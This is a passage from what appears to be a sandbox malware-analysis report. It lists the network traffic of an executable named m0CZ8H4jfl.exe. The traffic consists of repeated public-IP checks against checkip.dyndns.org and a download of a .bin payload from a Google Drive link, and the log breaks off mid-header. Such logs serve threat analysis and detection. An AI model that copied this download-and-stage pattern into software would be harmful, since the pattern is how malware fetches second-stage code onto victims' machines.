
Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:56:58.791788101 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:56:59.457020998 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:56:59 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	50011	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:00.418203115 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:01.092299938 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:00 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	50013	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:02.222388983 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:02.869720936 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:02 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	50015	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:03.862551928 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:04.492100000 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:04 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.9	50017	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:05.516987085 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:06.283077002 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:06 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.9	50019	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:07.318825006 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:07.949659109 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:07 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.9	50021	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:09.162843943 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:09.795720100 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:09 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.9	50023	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:10.859555006 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:11.676215887 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.9	50025	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:12.711165905 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:13.354516983 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:13 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	50027	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:14.372728109 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:15.077299118 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	50029	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:16.238293886 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:16.874577999 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:16 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	50031	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:17.961086035 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:18.595966101 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	50033	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:19.465866089 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:20.159671068 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	50035	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:21.458517075 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:22.451500893 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:22 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	50037	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:23.404653072 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:24.156219959 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.9	50039	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:25.130359888 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:26.156943083 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:26 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.9	50041	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:27.008522987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:28.607250929 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:28 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.9	50043	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:29.664640903 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:30.791426897 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	50045	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:31.761778116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:32.441133022 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	50047	193.122.6.168	80	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:57:33.610366106 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 19:57:37.391494036 CET	273	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 18:57:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49973	142.250.185.110	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:18 UTC	216	OUT	GET /uc?export=download&id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-10 18:56:18 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 18:56:18 GMT Location: https://drive.usercontent.google.com/download?id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-V58C6GLCS_GokrYWY_oDcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49974	142.250.185.161	443	7628	C:\Users\user\Desktop\m0CZ8H4jfl.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 18:56:19 UTC	258	OUT	GET /download?id=1t3Ywt6vnH907sJTvu0e7Lz4I8WNHZFcN&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-10 18:56:21 UTC	4944	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFiumC4uj4JuO_ma4ZEXGLphluCa6Ke50HAGJFAtg3_Ykq9mfpQTJVYUnSkLAYlhpMY7VUQGJRlJlI8 Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="tBXSTephqjgDGLq41.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, 